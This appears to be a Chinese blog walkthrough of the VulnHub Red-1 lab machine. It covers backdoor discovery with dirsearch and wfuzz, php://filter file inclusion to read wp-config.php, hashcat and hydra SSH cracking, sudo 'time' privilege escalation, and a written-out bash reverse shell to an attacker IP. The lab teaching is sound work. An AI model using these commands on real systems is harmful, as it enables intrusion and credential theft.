靶机练习No.19 VulnHub靶机 Red-1目录扫出后门,wfuzz 枚举参数,filter协议读取数据库源码,hashcat解密 time提权 .c后门反弹shell

靶机练习No.19 VulnHub靶机 Red-1

1 靶机介绍

1.1 下载地址:

https://www.vulnhub.com/entry/red-1,753/

1.2 靶机配置

virtual box 导入靶机

1.3 靶机介绍

  • 靶机上架时间:2021年11月3日

  • 提示:Red has taken over your system, are you able to regain control?

    红色已经控制了你的系统,你能重新控制吗?

2 测试过程

2.1 nmap探测ip

在这里插入图片描述

2.2 nmap扫描端口

在这里插入图片描述
扫出开放 22和80端口,
80端口wordpress 5.8.1 在robots.txt中发现 wp-admin目录
title 显示网页已经被Red 黑掉

2.3 测试思路

从nmap的扫描结果 可以看到 从在wordpress cms 可以进行利用。
爆出的账号密码也能 尝试ssh登录。

2.4 访问web首页

(1)从主页来看 是wordpress cms
并且已经被Red 黑过了 挂了黑页

你永远也找不到 后门。
在这里插入图片描述

2.5 绑定ip域名

各个超链接 都无法访问
在这里插入图片描述

在这里插入图片描述

将开头的域名换成ip地址时,访问成功
说明需要到 hosts文件中 绑定 靶机ip 和 指定域名 即可

windows 在 C:\Windows\System32\drivers\etc\hosts文件中修改
linux 在 /etc/hosts中修改
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

2.6 寻找突破口

在源码中看到一处黑客留下的嘲讽话
在这里插入图片描述
在这里插入图片描述

百度 或者 google搜索后 发现github
指向一个 字典文件 应该是其中有PHP得后门字典
在这里插入图片描述

2.7 爆破后门目录

用提示中的 php后门字典,该字典 kali中也自带
在/usr/share/wordlists/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt

使用 dirsearch 工具

python3 dirsearch.py  -u "http://redrocks.win" -w /usr/share/wordlists/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt 

在这里插入图片描述
爆破出 /NetworkFileManagerPHP.php
在这里插入图片描述
可以访问成功,说明页面存在,没有回显 需要wfuzz 参数

2.8 wfuzz 枚举后门参数

字典也用 提示的github 里的参数字典枚举
/usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt

wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=xxx

在这里插入图片描述
枚举出 参数为key
根据 后门文件名字 考虑和文件有关 输入 /etc/passwd 测试成功
在这里插入图片描述

2.9 利用文件包含后门寻找突破口

(1)尝试远程文件包含木马getshell(失败测试发现未开启远程文件包含)
远程vps 上的 文件 未读取出内容,说明未开启远程文件包含。
在这里插入图片描述
(2)利用本地文件包含php://filter协议读取页面源码
php://filter base64编码 读取源码

先读取 后门源码 看看有什么功能

/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php

成功
在这里插入图片描述
base64解码后 源码为

<?php
   $file = $_GET['key'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("NetworkFileManagerPHP.php");
   }
   /* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>

源码中的base64编码解码后为在这里插入图片描述

后门只有文件包含的功能。

2.10 文件包含php://filter协议读取wp-config.php

wp-config.php 文件是 wordpress的数据库连接文件 应该会有数据库的账号密码 可以读取利用看看

/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php
在这里插入图片描述
解码后 内容为

<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'john' );

/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define('FS_METHOD', 'direct');

define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY',  'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3}+Y^u!a54 Xc(');
define('LOGGED_IN_KEY',    '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:U@QUZ-RU1]tO@/N}b}R@+/$+u*pJ|Z(xu-');
define('NONCE_KEY',        ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT',        'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT',   '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@+iZ');
define('NONCE_SALT',       'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[ZG.oCt2@-y3X');

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';


得到 账号 john 和 密码 R3v_m4lwh3r3_k1nG!!

/etc/passwd 中 也存在john用户 可以 ssh登录试试

2.11 ssh登录john用户

登录失败,密码错误。
在这里插入图片描述
想到 之前后门文件中留下的 注释内容
That password alone won’t help you! Hashcat says rules are rules

只有那个密码是不能帮助你的,hashcat说的规则才是规则?
大概意思应该就是 只有这个密码还不够,还需要hashcat的规则破解

2.12 hashcat 破解密码

hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > pass2.txt

在这里插入图片描述

2.13 hydra 登录ssh john用户

hydra -l john -P pass2.txt -t 10 ssh://192.168.56.111

在这里插入图片描述
密码为 R3v_m4lwh3r3_k1nG!!6

2.14 ssh登录(又提示错误)

登录 还是说密码不对。
在这里插入图片描述

2.15 再次hydra爆破密码ssh登录(成功)

破解出的登录密码变为 R3v_m4lwh3r3_k1nG!!02

不知道为什么。
在这里插入图片描述
在这里插入图片描述

2.16 提权信息收集

在/home/john 目录下发现一个文件

cat note_from_red.txt 

输入 cat命令 查看 进入 vi模式
在这里插入图片描述

Having a little trouble with the cat command blue?

蓝队的cat命令有一点小问题?
可能是说 cat 实际是vi命令吧

看起来 cat 命令 是 10月31日 的 其余都是 8月 9月
在这里插入图片描述

(1)sudo -l
发现 无需密码 就可以以 ippsec 用户权限 执行time命令
在这里插入图片描述
(2)可以用 time 提权

sudo -u ippsec time /bin/bash

在这里插入图片描述
(3)在 /home/ippsec 目录下 发现 user.txt 内容如下
在这里插入图片描述

说是 假的 flag

(4)
发现 shell很快就断了,应该是被踢出来了。
在这里插入图片描述

下次进去得提权后先反弹shell。

2.17 提权至ippsec用户后立刻反弹完整shell

(1)kali 先监听 8888端口

nc -lvvp 8888

(2)hydra 爆破ssh密码
在这里插入图片描述

(3)sudo time提权至ippsec用户

sudo -u ippsec time /bin/bash

在这里插入图片描述

(4)反弹shell

cd /tmp
cat shell.sh

写入 下边 内容

#!/bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.56.137/8888 0>&1'

chmod +x shell.sh
./shell.sh 

运行反弹shell脚本

在这里插入图片描述

在这里插入图片描述
(5)使用python3 切换为完整的shell

  1. python3 -c ‘import pty;pty.spawn("/bin/bash")’
  2. export TERM=xterm 然后 Ctrl+Z 退出来一下
  3. stty raw -echo;fg 回车后输入 reset 再回车
  4. stty rows 46 columns 188

stty 设置终端参数 可以先看你自己的kali 终端 stty -a 查看 参数 然后设置过去

在这里插入图片描述
在这里插入图片描述

切换后 还会弹出 消息 但是不会断开

2.18 提权至root

(1)pspy64s监听进程
因为 shell一直谈消息,肯定有相关进程。可以用这个pspy64s监听

pspy是一种命令行工具,无需root权限即可监听进程。可查看其他用户执行的命令,cron作业等。

下载地址

https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

可以下载下 传到kali 上 python3 开启服务 靶机 wget下载

chmod +x pspy64s
./pspy64s

在这里插入图片描述
有3个 root用户 开启的防御的。sh进程
/root/defense/backdoor.sh
/root/defense/talk.sh
/root/defense/change_pass.sh
在这里插入图片描述
(2)无法访问 root目录 没有权限
在这里插入图片描述

(3)进入wordpress 目录下打开后门.c文件

cd /var/www/wordpress/.git
ls -al
cat supersecretfileuc.c

supersecretfileuc.c 应该是后门文件
在这里插入图片描述

内容如下

#include <stdio.h>
  
int main()
{

    // prints hello world
    printf("Get out of here Blue!\n");

    return 0;
}

(4)修改内容为 反弹shell的代码
在这里插入图片描述
过一会 shell反弹回来
在这里插入图片描述
root.txt读取成功

在这里插入图片描述

3 总结

该靶机测试流程
(1)该靶机已经被挂黑页了,用提示的后门字典,枚举出网址后门文件。
(2)wfuzz出后门利用参数。
(3)根据wordpress 数据库文件wp-config.php和/etc/passwd 中都存在的john用户 及后门提示,用hashcat 规则解出密码。hydra以解出的密码组为字典,爆破ssh john用户。
(4)sudo -u ippsec time /bin/bash 提权。至 ippsec用户
(5)反弹ippsec用户的shell
(6)因为一直会将john的shell踢出,应该有root用户的进程文件在运行。用pspy64s监听进程。
(7)找到的进程权限不足,还发现一个黑客留下的后门.c文件,为root权限。修改里边的代码为反弹shell代码,反弹root shell成功。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值